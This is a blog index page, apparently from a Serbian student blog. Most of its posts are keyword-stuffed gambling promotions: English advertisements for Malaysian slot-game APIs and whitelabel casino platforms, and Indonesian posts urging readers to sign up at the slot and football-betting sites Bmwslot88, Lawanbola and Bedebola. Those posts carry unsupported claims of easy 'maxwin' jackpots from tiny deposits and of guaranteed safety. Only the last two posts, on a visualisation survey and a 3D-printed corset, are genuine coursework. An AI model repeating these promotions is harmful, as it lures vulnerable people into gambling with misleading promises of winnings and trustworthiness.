Exploring Trusted Slot Game API Malaysia 2025: Your Gateway to iGaming Success

The online gaming industry in Southeast Asia, East Asia, Australia, and South Asia is booming, with slot games leading the charge as a favorite pastime for millions. As we look toward 2025, businesses aiming to capitalize on this thriving market need reliable, innovative, and secure solutions to stay ahead. This is where a Trusted Slot Game API Malaysia 2025 comes into play a game-changer for operators looking to deliver seamless, engaging, and profitable gaming experiences. In this article, we’ll dive into why partnering with a Trusted Slot Game API provider in Malaysia is your key to unlocking success in the iGaming industry, tailored for audiences across these dynamic regions.

Why Choose a Trusted Slot Game API in Malaysia?

Malaysia has emerged as a hub for iGaming innovation, thanks to its strategic location, tech-savvy population, and growing demand for online entertainment. A Trusted Slot Game API offers businesses a robust, scalable solution to integrate high-quality slot games into their platforms. But what makes these APIs so special, and why should operators in Southeast Asia, East Asia, Australia, and South Asia care?

1. Seamless Integration for Diverse Markets

A Game API Malaysia 2025 is designed to cater to diverse audiences, ensuring compatibility with multiple devices, languages, and currencies. Whether your players are in Singapore, Japan, Australia, or India, a trusted API allows you to offer localized gaming experiences. For instance, you can integrate games with multilingual interfaces or support popular payment methods like Touch n Go, Paytm, or UPI, making it easier to attract and retain players across borders.

2. Uncompromised Security and Fair Play

Security is a top concern for players and operators alike. A Trusted Slot API provider in Malaysia adheres to strict standards, using advanced encryption technologies like SSL to protect user data and transactions. These APIs are often licensed by reputable regulatory bodies such as PAGCOR or the Malta Gaming Authority (MGA), ensuring fair play through certified Random Number Generators (RNGs). This builds trust among players, which is crucial for long-term success in regions where consumer confidence in online platforms is paramount.

3. High-Quality Games from Top Providers

A slot game API Malaysia connects you to a vast library of games from renowned developers like Pragmatic Play, Spadegaming, Microgaming, and Playtech. These games feature stunning graphics, immersive soundtracks, and innovative mechanics like cascading reels, Megaways, or progressive jackpots. For players in East Asia, who value high-quality visuals, or in South Asia, where simple yet rewarding gameplay is preferred, these APIs ensure there’s something for everyone.

4. Mobile-First Approach

With mobile gaming dominating in Southeast Asia and beyond, a Trusted Slot Game API Malaysia 2025 prioritizes mobile compatibility. Whether players use Android devices in Indonesia or iPhones in Australia, these APIs deliver smooth, responsive gameplay. Many providers also offer dedicated mobile apps or responsive web designs, ensuring your platform is accessible anytime, anywhere.

The Business Advantage of a Trusted Slot Game API in 2025

For entrepreneurs and operators eyeing the iGaming market, partnering with a Trusted Slot Game API provider offers a competitive edge. Here’s how it can transform your business:

Boost Player Engagement with Diverse Offerings

A Game API Malaysia 2025 allows you to offer a wide range of slot games, from classic three-reel slots to modern video slots with engaging themes like mythology, adventure, or pop culture. For example, games like Gates of Olympus or Sweet Bonanza are wildly popular in Malaysia and Thailand due to their high volatility and multiplier features. By catering to varied preferences, you keep players hooked and coming back for more.

Maximize Revenue with Attractive Bonuses

A Trusted Slot API enables you to integrate promotional tools like welcome bonuses, free spins, and loyalty programs. In markets like India and Vietnam, where players are drawn to value-added offers, these bonuses can significantly boost retention. For instance, offering a 100% welcome bonus up to MYR 588 or daily free spins can entice new players to join your platform and stay active.

Streamlined Operations and Cost Efficiency

Integrating a slot game API Malaysia simplifies your operations. Instead of developing games from scratch, you can leverage a ready-to-use solution that includes game hosting, updates, and customer support. This reduces development costs and lets you focus on marketing and player acquisition, which is especially valuable for startups in Australia or established operators in South Korea looking to expand.

Stay Ahead of Trends in 2025

The iGaming landscape is evolving rapidly, and a Trusted Slot Game API Malaysia 2025 keeps you ahead of the curve. Expect to see trends like gamification (e.g., leaderboards and missions), virtual reality slots, and blockchain-based payments gaining traction. By partnering with a forward-thinking API provider, you can quickly adopt these innovations and appeal to tech-savvy players in Japan or Singapore.

Why Malaysia is the Ideal Hub for Slot Game APIs in 2025

Malaysia’s iGaming ecosystem is uniquely positioned to serve the Asia-Pacific region. Here’s why:

  • Tech Infrastructure: Malaysia’s boasts advanced internet connectivity and a growing tech talent pool, making it an ideal base for API development and hosting.
  • Cultural Relevance: Malaysia’s multicultural society ensures that APIs are designed with an understanding of Asian gaming preferences, from vibrant visuals for Chinese players to straightforward mechanics for Indian audiences.
  • Regulatory Compliance: While Malaysia has strict gambling laws, trusted API providers operate with international licenses, ensuring compliance and safety for operators targeting global markets.

How to Choose the Right Trusted Slot Game API Provider

With so many options available, selecting the right Trusted Slot Game API provider is critical. Here are some tips to guide your decision:

  1. Check Licensing and Certifications: Ensure the provider is licensed by a reputable authority and uses certified RNGs for fair gameplay.
  2. Evaluate Game Portfolio: Look for a diverse selection of games from top developers to appeal to your target audience.
  3. Prioritize Security: Choose a provider with SSL encryption, secure payment gateways, and robust data protection measures.
  4. Assess Scalability: Opt for an API that can handle high traffic and support multiple regions as your business grows.
  5. Test Customer Support: Reliable 24/7 support via live chat, email, or phone is essential for resolving issues quickly.

Join the iGaming Revolution with Our Trusted Slot Game API

At [Your Company Name], we’re committed to helping businesses across Southeast Asia, East Asia, Australia, and South Asia thrive in the iGaming industry. Our Trusted Slot Game API Malaysia 2025 is designed to deliver unparalleled gaming experiences, combining cutting-edge technology with player-centric features. Whether you’re a startup in Indonesia, an established operator in Australia, or expanding into India, our API offers:

  • A vast library of high-RTP slot games from leading providers.
  • Seamless integration with multilingual and multi-currency support.
  • Advanced security features to protect your players and platform.
  • Customizable promotional tools to drive engagement and revenue.

Why Partner with Us?

  • Proven Expertise: With years of experience in the iGaming industry, we understand the unique needs of Asian and Australian markets.
  • Tailored Solutions: We work closely with you to customize our API to match your brand and goals.
  • Future-Ready Technology: Our API is built to adapt to emerging trends, from VR gaming to crypto payments.

Take the First Step Today

The iGaming market in 2025 is brimming with opportunities, and a Trusted Slot Game API is your ticket to success. Don’t miss out on the chance to captivate players and grow your business in one of the world’s most exciting industries. Contact us today for a free consultation and discover how our Game API Malaysia 2025 can transform your platform into a player favorite.

Let’s build the future of iGaming together starting with a Trusted Slot experience that players across Southeast Asia, East Asia, Australia, and South Asia will love.

Posted in Opšte | Leave a comment

Bmwslot88 Situs Slot Online dengan Minimal Bet 400 Perak Bisa Maxwin!

Cari situs slot online yang terjangkau tapi tetap bisa kasih kemenangan besar? Jawabannya ada di Bmwslot88! Di sini, kamu bisa mulai main slot hanya dengan modal 400 perak saja. Kedengarannya kecil? Tapi jangan salah, dari bet receh ini kamu tetap punya peluang maxwin yang bikin saldo naik drastis!

Cuma 400 Perak? Serius Bisa Main Slot?

Iya, serius! Di Bmwslot88, kamu gak perlu keluar modal besar untuk seru-seruan. Dengan bet paling rendah hanya Rp400, kamu sudah bisa muter slot dari provider ternama seperti:

  • Pragmatic Play
  • Habanero
  • PG Soft
  • Joker Gaming
  • dan banyak lainnya

Mesin slot-nya juga punya RTP tinggi dan fitur buy free spin, jadi kesempatan untuk menang besar (maxwin) tetap terbuka lebar, meskipun modal tipis.

Keunggulan Bmwslot88 yang Gak Dimiliki Situs Lain

  • Minimal Bet Super Ringan – Cocok buat pemula, pemain santai, atau yang mau main hemat tapi tetap seru.
  • Peluang Maxwin Nyata – Dengan sistem fair play dan RTP tinggi, BMWSlot88 kasih kamu peluang menang jutaan dari modal receh.
  • Provider Lengkap – Main ratusan game slot dari provider terpercaya dunia.
  • Transaksi Cepat & Aman – Deposit dan withdraw cepat via bank lokal, e-wallet, bahkan pulsa.
  • Bonus Tiap Hari – Mulai dari bonus new member, cashback, rollingan harian, sampai event maxwin berhadiah saldo.

Cara Main di Bmwslot88:

  1. Daftar akun di situs resmi BMWSLOT88
  2. Deposit mulai dari nominal kecil
  3. Pilih game slot favoritmu
  4. Set bet mulai dari 400 perak
  5. Spin dan nikmati keseruannya!

Event Maxwin & Promo Slot Gila-Gilaan

Bmwslot88 rutin ngadain event slot dengan hadiah menarik untuk member yang berhasil maxwin. Jadi selain menang dari game, kamu juga bisa dapet hadiah tambahan dari leaderboard mingguan & tantangan harian.

Gabung Sekarang, Maxwin Gak Harus Mahal

Jangan tunggu nanti! Kalau kamu cari situs slot online dengan modal kecil tapi hasil maksimal, BMWSlot88 adalah tempat yang tepat. Cuma dengan 400 perak per spin, siapa pun bisa jadi sultan kalau hoki berpihak. Yuk, daftar dan buktikan sendiri maxwin dari recehan!

Posted in Opšte | Leave a comment

Lawanbola: Situs Judi Bola Online Minimal Deposit Hanya 25 Ribu!

Mau main judi bola online tapi modal terbatas? Tenang, sekarang kamu bisa nikmati serunya taruhan bola dengan deposit super ringan hanya di lawanbola. Cukup dengan Rp25.000, kamu sudah bisa mulai bermain dan berkesempatan menang besar!

Modal Kecil, Peluang Besar

Di Lawanbola, kamu nggak perlu keluar modal besar untuk bisa ikut taruhan. Minimal deposit hanya Rp25.000, cocok banget buat pemula yang baru mau coba, atau pemain yang mau main santai tapi tetap berpotensi cuan.

Dengan modal segitu, kamu sudah bisa:

  • Pasang taruhan single maupun parlay
  • Main di pasaran top seperti Liga Inggris, Serie A, La Liga, dan Liga 1 Indonesia
  • Nikmati fitur live betting dengan odds real-time

Kenapa Pilih Lawanbola?

1. Aman dan Terpercaya

Lawanbola dikenal sebagai situs judi bola online terpercaya dengan sistem keamanan yang kuat. Semua data dan transaksi kamu terlindungi dengan enkripsi terbaik, jadi kamu bisa fokus bermain tanpa rasa khawatir.

2. Pasaran Bola Lengkap

Mulai dari liga top dunia sampai pertandingan lokal, semua tersedia di Lawanbola. Mau pasang mix parlay atau handicap Asia? Tinggal pilih dan pasang lewat platform yang mudah digunakan.

3. Bonus dan Promo Menarik

Meskipun minimal deposit hanya 25 ribu, kamu tetap bisa menikmati berbagai bonus dan promo, seperti:

  • Bonus New Member
  • Cashback Setiap Minggu
  • Promo Mix Parlay
  • Bonus Deposit Harian

4. Transaksi Cepat & Mudah

Lawanbola menyediakan berbagai metode deposit seperti transfer bank, e-wallet, hingga pulsa. Proses deposit dan withdraw cepat, rata-rata hanya butuh beberapa menit!

5. Cara Daftar & Login di Lawanbola

  • Kunjungi situs resmi Lawanbola
  • Isi formulir pendaftaran (cukup 1 menit!)
  • Lakukan deposit minimal Rp25.000
  • Gunakan fitur Lawanbola login untuk masuk
  • Pilih pertandingan dan langsung mulai bermain!

Kesimpulan

Dengan deposit ringan hanya Rp25.000, siapa pun sekarang bisa mulai taruhan bola online dengan mudah. Lawanbola hadir sebagai solusi untuk kamu yang cari situs judi bola online terpercaya, aman, dan terjangkau. Gak perlu nunggu lama, daftar sekarang, login ke Lawanbola, dan rasakan sendiri keseruannya!

Posted in Opšte | Leave a comment

Bedebola: Situs Judi Bola Online Terpercaya dengan Pasaran Terlengkap!

Di tengah ramainya dunia taruhan online, mencari situs judi bola yang benar-benar terpercaya dan lengkap bukanlah hal yang mudah. Tapi tenang, kamu gak perlu bingung lagi, karena Bedebola hadir sebagai solusi terbaik bagi pecinta taruhan bola di Indonesia.

Kenapa Harus Bedebola?

1. Terpercaya & Aman

Bedebola sudah dikenal luas sebagai situs judi bola online terpercaya yang mengutamakan keamanan data dan kenyamanan pemain. Dengan sistem enkripsi canggih dan server stabil, kamu bisa bermain tanpa khawatir akun diretas atau saldo hilang.

2. Pasaran Terlengkap

Mau taruhan Liga Inggris, Liga Champions, Bundesliga, Serie A, La Liga, bahkan Liga 1 Indonesia? Semuanya ada! Bedebola menyediakan pasaran paling lengkap, dari laga besar hingga pertandingan minor. Kamu bebas pilih sesuai strategi dan feeling.

3. Minimal Bet Terjangkau

Salah satu keunggulan Bedebola yang bikin banyak pemain jatuh hati adalah minimal betting yang sangat ramah di kantong. Mulai dari hanya Rp10.000, kamu sudah bisa ikut taruhan parlay dan berpeluang menang besar!

4. Odds Kompetitif

Jangan main di tempat yang odds-nya pelit! Di Bedebola, kamu akan menemukan odds tinggi dan bersaing, yang pastinya meningkatkan potensi keuntunganmu setiap kali pasang taruhan.

5. Live Betting & Statistik Lengkap

Bosan nunggu hasil akhir? Bedebola menyediakan fitur live betting yang seru, ditambah dengan statistik dan informasi pertandingan lengkap untuk membantumu mengambil keputusan terbaik.

Bonus & Promo Melimpah

Bedebola gak cuma ngasih pengalaman bermain yang seru, tapi juga royal dengan bonus:

  • Bonus New Member
  • Cashback Mingguan
  • Bonus Parlay
  • Program Referral
  • Dan masih banyak lagi!

Cara Main di Bedebola: Gampang Banget!

  • Daftar akun lewat situs resmi Bedebola
  • Deposit mulai dari nominal kecil
  • Pilih pertandingan dan jenis taruhan (single, mix parlay, over/under, dll)
  • Pasang taruhan dan nikmati sensasinya
  • Cairkan kemenanganmu dengan proses withdraw cepat

Layanan 24 Jam Nonstop

Butuh bantuan? Tim customer service Bedebola siap membantu kamu kapan saja, 24 jam penuh lewat live chat, WhatsApp, dan Telegram.

Gabung Sekarang dan Rasakan Serunya Judi Bola Online!

Jangan sampai ketinggalan! Ribuan member aktif sudah membuktikan kualitas Bedebola sebagai situs judi bola online terbaik dan terpercaya. Ayo, daftar sekarang dan mulailah perjalanan taruhanmu dengan pasaran terlengkap dan peluang menang terbaik hanya di Bedebola!

Posted in Opšte | Leave a comment

Main Parlay Makin Gampang di Bedebola Cukup Modal 10 Ribu!

Kalau kamu penggemar taruhan bola online, pasti tahu serunya main parlay apalagi kalau prediksi kamu jitu, bisa menang besar hanya dari modal kecil! Kabar baiknya, sekarang kamu bisa mulai taruhan parlay cuma dengan 10.000 rupiah saja di situs terpercaya Bedebola.

Kenapa Harus Bedebola?

  1. Minimum Betting Rendah Buat kamu yang baru mau coba atau sekadar iseng-iseng berhadiah, cukup siapkan 10 ribu untuk mulai parlay. Cocok banget buat semua kalangan – dari pemula sampai yang udah pro.
  2. Pasaran Lengkap dan Odds Menggiurkan Bedebola menyediakan berbagai liga top dunia: Liga Inggris, Liga Champions, Serie A, sampai Liga Indonesia. Odds yang ditawarkan pun kompetitif, bikin peluang menang makin besar.
  3. Proses Daftar Cepat & CS Aktif 24 Jam Cuma butuh beberapa menit untuk daftar akun di Bedebola. Butuh bantuan? Layanan pelanggan selalu standby 24/7 melalui live chat dan WhatsApp.
  4. Transaksi Aman dan Cepat Deposit dan withdraw bisa lewat berbagai bank lokal, e-wallet, dan pulsa. Semua transaksi dijamin aman, cepat, dan tanpa ribet.
  5. Banyak Bonus Menarik Dapatkan bonus deposit, cashback mingguan, dan promo parlay spesial untuk member setia.

Gimana Cara Mulainya?

  1. Daftar akun di situs resmi Bedebola.
  2. Lakukan deposit minimal sesuai metode pilihanmu.
  3. Pilih pertandingan favorit dan susun kombinasi parlay kamu.
  4. Taruhan mulai dari 10 ribu aja, dan pantau hasilnya!

Jadi, tunggu apa lagi? Yuk, gabung sekarang di Bedebola dan rasakan serunya main parlay modal receh, tapi hasil bisa cetar!

Posted in Opšte | Leave a comment

Discover the Best Whitelabel Casino Platform in Southeast Asia for Your Business Success

The online gaming industry in Southeast Asia, East Asia, South Asia, and Australia is booming, with millions of players engaging in exciting casino experiences every day. For entrepreneurs and businesses looking to tap into this lucrative market, choosing the best whitelabel casino platform Southeast Asia offers is a game-changer. A whitelabel casino platform allows you to launch your own branded online casino quickly, efficiently, and with minimal upfront investment. But with so many options available, how do you select the best whitelabel casino platform for your business? This article explores why partnering with the right platform can unlock endless opportunities and why our solution stands out as the best casino platform Southeast Asia has to offer.

Why Choose a Whitelabel Casino Platform?

A whitelabel casino platform Southeast Asia is a ready-made solution that lets you operate an online casino under your own brand without the need to develop software from scratch. This approach is perfect for businesses in regions like Singapore, Malaysia, Thailand, Indonesia, India, or Australia, where the demand for online gaming is skyrocketing. Here’s why a best whitelabel platform is the ideal choice:

  • Speed to Market: Launch your casino in weeks, not months, and start generating revenue quickly.
  • Cost-Effective: Avoid the high costs of developing proprietary software or hiring a large tech team.
  • Customizable Branding: Create a unique brand identity that resonates with your target audience, whether they’re in Manila, Mumbai, or Melbourne.
  • Regulatory Compliance: The best whitelabel casino platform ensures compliance with local regulations, which is critical in regions with strict gaming laws.
  • Scalability: Grow your business as your player base expands, with platforms that support thousands of users seamlessly.

By choosing a best whitelabel casino platform Southeast Asia, you gain access to cutting-edge technology and expertise, allowing you to focus on marketing and customer engagement.

What Makes Our Whitelabel Casino Platform the Best?

When searching for the best casino platform Southeast Asia offers, you need a solution that combines innovation, reliability, and regional expertise. Our platform is designed specifically to cater to the diverse needs of players and operators in Southeast Asia, East Asia, South Asia, and Australia. Here’s what sets us apart:

1. Tailored for the Asian and Australian Markets

The gaming preferences of players in Jakarta, Bangkok, or Sydney differ from those in other parts of the world. Our whitelabel casino platform Southeast Asia is built with deep insights into local cultures and gaming trends. From offering popular games like baccarat and sic bo to supporting localized payment methods like GrabPay, Paytm, or bank transfers, we ensure your casino feels familiar and accessible to your audience.

2. Extensive Game Library

A successful online casino needs a diverse and engaging game portfolio. Our best whitelabel casino platform offers thousands of games, including:

  • Classic table games like blackjack, roulette, and poker.
  • Slot games with vibrant themes that appeal to Asian and Australian players.
  • Live dealer games for an authentic casino experience.
  • Region-specific games like Andar Bahar for South Asian players.

With partnerships with top-tier game providers, we ensure your players always have access to the latest and most exciting titles.

3. Seamless Mobile Experience

In regions where mobile gaming dominates think the Philippines, Vietnam, or India , your casino must perform flawlessly on smartphones and tablets. Our best whitelabel platform is optimized for mobile, offering a responsive design and fast load times. Whether your players are commuting in Kuala Lumpur or relaxing in Perth, they’ll enjoy a smooth and immersive gaming experience.

4. Robust Security and Fair Play

Trust is paramount in the online gaming industry. Our best casino platform Southeast Asia uses advanced encryption to protect player data and transactions. Additionally, our games are certified for fairness, ensuring random outcomes and building confidence among your players. This is especially important in markets like Singapore and Australia, where players demand transparency and security.

5. Flexible Customization

Your brand deserves to stand out. Our platform allows you to customize everything from the website design to the user interface, ensuring your casino reflects your vision. Want to incorporate vibrant colors inspired by Thai festivals or a sleek, modern look for Australian players? With our best whitelabel casino platform, the possibilities are endless.

6. Comprehensive Back-End Support

Running an online casino involves more than just games. Our platform includes powerful back-end tools to manage:

  • Player accounts and loyalty programs.
  • Payment processing with support for local currencies like SGD, INR, and AUD.
  • Marketing campaigns, including bonuses and promotions.
  • Analytics to track performance and optimize your business.

With 24/7 technical support, we ensure your casino operates smoothly, no matter where you’re based.

Why Southeast Asia, East Asia, South Asia, and Australia Are Perfect for Online Casinos

The gaming industry in these regions is thriving due to several factors:

  • Large and Growing Populations: Countries like India, Indonesia, and the Philippines have massive, tech-savvy populations eager for entertainment.
  • Increasing Internet Penetration: High-speed internet and affordable smartphones are making online gaming accessible to millions.
  • Cultural Affinity for Gaming: From traditional card games in India to modern esports in South Korea, gaming is deeply embedded in local cultures.
  • Economic Growth: Rising disposable incomes in Malaysia, Thailand, and Vietnam mean more players are willing to spend on online entertainment.

By launching your casino with the best whitelabel casino platform Southeast Asia offers, you can tap into this dynamic market and build a profitable business.

How to Get Started with Our Whitelabel Casino Platform

Starting your own online casino has never been easier. Here’s how you can partner with us to launch the best casino platform Southeast Asia has seen:

  1. Contact Us: Reach out to our team to discuss your vision and business goals.
  2. Customize Your Casino: Work with our experts to design a branded casino that resonates with your target audience.
  3. Integrate and Test: We’ll handle the technical setup, ensuring your platform is ready for launch.
  4. Launch and Grow: Go live and start attracting players with our marketing support and promotional tools.

With our whitelabel casino platform Southeast Asia, you’ll be up and running in no time, ready to capture the attention of players across the region.

The Future of Online Gaming in Asia and Australia

The online casino industry is poised for explosive growth, with Southeast Asia, East Asia, South Asia, and Australia leading the charge. By partnering with the best whitelabel casino platform, you position yourself at the forefront of this exciting industry. Our platform is more than just a technical solution it,s a gateway to building a thriving business that connects with players in Singapore, Seoul, Mumbai, and beyond.

Why Partner with Us?

Choosing the right whitelabel platform is the first step toward success. Our commitment to innovation, regional expertise, and customer satisfaction makes us the best whitelabel casino platform Southeast Asia has to offer. We’re not just a service provider; we’re your partner in building a brand that players love and trust.

Ready to take the leap? Join the countless entrepreneurs who have transformed their business dreams into reality with our best whitelabel platform. Contact us today to learn how we can help you launch a world-class online casino tailored to the vibrant markets of Southeast Asia, East Asia, South Asia, and Australia. Let’s build something extraordinary together!

Posted in Opšte | Leave a comment

Inside the Vault: How a Trusted Casino API Provider Shapes the Future of Online Gaming

In the rapidly evolving iGaming industry, choosing the right trusted casino API provider is no longer a technical decision it’s a strategic one. Today, platforms that succeed are not just beautiful on the surface; they are built on solid, secure, and scalable foundations. And at the heart of that foundation is a trusted casino API that powers everything behind the scenes.

Every successful online casino has one thing in common: a backend powered by a trusted provider. Without it, even the most visually appealing platform can fall apart. From real-time data syncing to seamless player experiences, the role of a trusted casino API provider cannot be overstated.

The difference between a thriving platform and one that constantly struggles lies in whether you work with a trusted casino provider or one that cuts corners. The right provider offers more than just access to games they offer infrastructure, innovation, and integrity.

A trusted casino ensures more than entertainment it ensures fairness, uptime, and security. Players don’t just return for games; they return because the experience is seamless, the withdrawals are fast, and their data is protected by a trusted provider who takes backend integrity seriously.

In simple terms, a trusted casino API acts like the central nervous system of your platform. It connects game content, payment gateways, user management, reporting systems, and more into one cohesive and reliable ecosystem offered only by a trusted casino API provider with proven performance.

Too often, operators settle for cheap integrations without considering the long-term cost. But a trusted provider delivers more than technical support it delivers stability. With a trusted casino API, updates, upgrades, and new content can be rolled out with zero downtime, keeping players engaged and your operations running smoothly.

Choosing a trusted casino provider is like choosing a business partner who values your growth. They understand market trends, comply with regional gaming regulations, and constantly enhance their APIs to stay ahead. That’s why the smartest operators work only with a trusted casino API provider who sees beyond the code.

Let’s not forget the competitive edge of working with a trusted casino. From personalized player journeys to real-time bonus triggers, only a trusted provider can deliver the kind of features that convert casual users into loyal players.

For startups in the iGaming industry, it’s easy to overlook backend tech in favor of front-end design. But the real engine of success is a robust, flexible, and future-ready trusted casino API. And only a trusted casino API provider with deep industry roots can offer that kind of value from day one.

Security is another crucial aspect where a trusted casino provider makes a clear difference. From anti-fraud mechanisms to encrypted transactions, a trusted casino runs on confidence – confidence that can only be built with a trusted provider that understands risk management at scale.

Integration simplicity is another hallmark of a trusted casino API. Whether you’re adding new slot providers, live dealer content, or innovative crash games, a trusted casino API provider ensures the process is fast, secure, and fully supported.

More importantly, a trusted provider doesn’t just give you tools they give you control. From detailed analytics to advanced user segmentation, a trusted casino provider equips your platform to adapt, evolve, and lead in a highly competitive market.

Even for seasoned operators, migrating to a new trusted casino API provider can unlock massive potential. With a trusted casino API, you can centralize your data, scale faster, and reduce operational headaches all while offering a superior player experience.

Support and service are often overlooked, but any experienced operator knows the pain of slow responses or unresolved issues. A trusted provider offers 24/7 expert-level support, proactive monitoring, and real solutions, not excuses. That’s why working with a trusted casino provider is one of the smartest decisions you can make.

In terms of monetization, only a trusted casino API provider offers real-time tracking of player activity, affiliate revenue, and game performance. This allows you to optimize your strategy in real time, which simply isn’t possible without a trusted casino API designed for performance.

The flexibility offered by a trusted casino platform also helps operators expand into new markets quickly. Whether it’s integrating regional payment systems or offering localized game content, a trusted provider makes international expansion smoother and more scalable.

For white-label operators, working with a trusted casino provider is even more critical. You need plug-and-play solutions that work out of the box, but also customization tools to stand out. A trusted casino API provider delivers both, empowering you to differentiate your brand without sacrificing functionality.

So how do you know you’re working with a trusted provider? Look for transparency, uptime guarantees, proven partnerships, and a roadmap for innovation. A trusted casino API isn’t just reliable it’s visionary. It prepares your platform for where the industry is going next.

In today’s iGaming climate, where regulations tighten and player expectations rise, there’s no space for guesswork. A trusted casino doesn’t gamble on technology it invests in infrastructure built by a trusted casino API provider with a track record of success.

Every click, spin, and bet on your platform is backed by the decisions you make behind the scenes. And at the core of all those decisions is one crucial question: Are you working with a trusted casino provider, or just the cheapest option available?

If you want to future-proof your brand, increase your player base, and build long-term sustainability, the answer lies in choosing a trusted provider who understands that great technology is nothing without great trust.

A trusted casino API provider doesn’t just offer a product they offer a partnership. They grow as you grow, scale as you scale, and protect your reputation with every integration and every transaction.

Build Your Casino on Trust, Not Luck

Your online casino is only as strong as the system it runs on. In a crowded market, what separates leaders from laggards is a foundation built by a trusted casino API provider. Trust isn’t just a buzzword it’s the currency of long-term success. And when your platform is powered by a trusted casino API, you’re not just running a site. You’re building a legacy.

Posted in Opšte | Leave a comment

Gak Ribet! Begini Cara Mulai Main di Bmwlot88 Buat Pemula

Baru pertama kali mau coba main slot online? Tapi bingung harus mulai dari mana?
Tenang, kamu nggak sendirian kok. Banyak orang juga awalnya ragu. Tapi setelah kenal sama BMWSlot88, semuanya jadi lebih gampang. Nggak perlu pengalaman khusus, nggak harus jago, yang penting kamu tahu caranya dan siap buat seru-seruan!

Nah, di artikel ini kamu bakal tahu cara mulai main di BMWSlot88 dengan langkah yang simpel dan cepat. Yuk, kita mulai!

1. Akses Situs Resmi Bmwlot88

Langkah pertama? Buka dulu situs resminya.
Ketik aja “BMWSLOT88” di browser kamu, atau klik link resmi dari sumber terpercaya. Pastikan kamu nggak masuk ke situs palsu ya. Setelah halaman terbuka, langsung cari tombol “Daftar” di bagian atas.

2. Daftar Akun Baru

Klik tombol “Daftar”, lalu isi data yang diminta:

  • Username pilihanmu
  • Password (buat login nanti)
  • Nomor HP aktif
  • Rekening bank untuk transaksi
  • Kode referral (kalau ada)

Isi semuanya dengan benar. Kalau sudah, klik Submit. Dalam hitungan detik, akun kamu langsung aktif!

3. Lakukan Deposit Pertama

Setelah akun aktif, kamu perlu isi saldo biar bisa mulai main.
BMWSlot88 punya banyak pilihan pembayaran:

  • Transfer bank (BCA, BRI, Mandiri, dll)
  • E-wallet (Dana, OVO, Gopay)
  • QRIS

Pilih metode yang paling nyaman buat kamu. Biasanya, proses deposit cuma butuh waktu beberapa menit aja. Setelah saldo masuk, kamu siap main!

4. Pilih Game Slot yang Kamu Suka

Ini bagian paling seru: milih game!
BMWSlot88 punya ratusan pilihan slot dari provider ternama kayak:

  • Pragmatic Play
  • PG Soft
  • Habanero
  • Joker Gaming

Kalau masih belum yakin, kamu bisa coba fitur demo dulu. Jadi kamu bisa latihan dulu tanpa harus pakai uang asli.

5. Main, Nikmati, dan Menang!

Udah siap? Sekarang tinggal klik “Play” dan rasakan keseruannya.
Mulai dari taruhan kecil dulu biar kamu bisa belajar irama permainannya. Perhatikan fitur-fitur bonus, scatter, dan free spin. Main santai tapi tetap fokus!

Tips Buat Pemula

Gunakan bonus new member: Biasanya ada cashback atau free spin.
Main santai aja: Jangan kejar menang besar langsung. Nikmati prosesnya.
Tahu kapan harus stop: Pas lagi menang, tarik dulu. Jangan terlalu greedy.

Kesimpulan: Nggak Perlu Pusing, Langsung Aja Coba!

Main slot online di Bmwslot88 itu gampang banget. Cukup daftar, isi saldo, pilih game, dan mainkan.
Tanpa ribet, tanpa pusing, dan pastinya seru! Apalagi buat kamu yang baru mulai, platform ini cocok banget karena tampilannya sederhana dan gampang dipahami.

Posted in Opšte | Leave a comment

Zaključak i rezultati ankete.

Posle sprovedene ankete u kojoj su ispitanici imali priliku da vide 360° vizualizaciju objekta i odgovore na pitanja o dimenzijama određenih elemenata sa vizuala uvideo sam da su svi odgovori  bili netačni, a samo dva ili tri su bili približino tačnom rešenju. Ovi rezultati pokazuju koliko ljudi, čak i uz pomoć 360° vizuala, nisu svesni koliki bi objekat bio ogroman da je zaista bio projektovan.

Anketu i rezultate ankete možete pogledati ovde:

https://docs.google.com/forms/d/e/1FAIpQLSfnWI0gyU2ToidRh4jwfWWvZA_-d7NUGGL9iVqlvipME8dZ3A/viewform?usp=sf_link

https://docs.google.com/spreadsheets/d/1ikvOoC-jH9FP6n2FH8s4jsxKRWNdmQIMVrb-lKYZl4s/edit?resourcekey=&gid=1676839421#gid=1676839421

Posted in 23/24 Radovi | Comments Off on Zaključak i rezultati ankete.

Modelovanje i printovanje ergonomskog i estetski privlačnog korseta – faza III

Filtriranjem ideja iz prethodnih postova i iz međuperioda, eliminišući sve što je nepraktično ili previše dizajnerski kompleksno da bi na njemu koncepti bili testirani, došla sam do sljedećeg:

IMG-20240904-WA0005IMG-20240904-WA0003

 

– 3D isprintovan rezultat

 

2 1

-Mesh model korseta

 

Iz već postojećih 3D mesh modela proiciranjem dizajna sam isjekla korset u 3D-u. Plan je bio da pojeinačne komade razmotam i dobijem nešto slično šablonu za šivenje na koji bi dodala 3D izvučene elemente i štampala. Međutim, taj proces se pokazao isuviše dug za moje senzibilitete.

45

 

-Grasshopper koraci za razmotavanje šablona

 

Kad se već pojavljuje tema šablona za šivenje odlučila sam da iskoristim već postojeće kao bazu i modifikujem ih po svom ukusu.

3

 

-Šabloni za šivenje i za printanje (usvojeni)

 

Pošto sam usvojila šablone, pretvorila ih u površine. Kroz Grasshopper kod sam površinu podijelila na izvučene (ekstrudovane) trouglove. Problematika izvučenih trouglova jeste što svi ne bi trebali biti iste visine jer će to da ograniči korsetovu fukcionalnost u smislu da će se sudarati pri  savijanju.

Definisala sam krive u zoni savijanja i duž njih smanjila visinu prizmi.

67

 

-Šablon sa eksrudovanim trouglovima

 

89

 

-Grasshopper finalni kod

 

10

 

-Šabloni premni za print

 

Pri 3d štampi nakon prvog sloja je postavljana mrežica koja drži prizme a time što je postavljana tek nakon prvog sloja omogućeno je da se ona ne razdvaja od prizmi.

IMG-20240904-WA0002IMG-20240904-WA0004

 

-Proces štampe

 

IMG-20240904-WA0001

-Prikaz šavova

 

Dijelovi su spajani koncem za zube s obzirom da najviše odgovara mrežici prema nijansi bijele boje i materijalizaciji. Spajanje je vršeno šivenjem sa periodičnim čvorovima zbog proklizavanja niti s obzirom da su od glatke plastike.

 

IMG-20240904-WA0007IMG-20240904-WA0006

 

-Konačan rezultat

 

Zaključak:

Dizajn je testni te nije na zadovoljavajućem estetičkom nivou

Završni sloj štampanja je isuviše hrapav

Veličina ne odgovara korisniku (mjere nisu dobro uzete)

Same prizme nisu dovoljno zanimljive

Proces je isuviše dug

Dati dizaj se moze uvećati/umanjiti da odgovara širokoj grupi korisnika

Dizajn ne ograničava pokrete korisnika, vrlo je fleksibilan

Spajanje i uspješno i čvrsto

 

 

 

Posted in Opšte | Comments Off on Modelovanje i printovanje ergonomskog i estetski privlačnog korseta – faza III

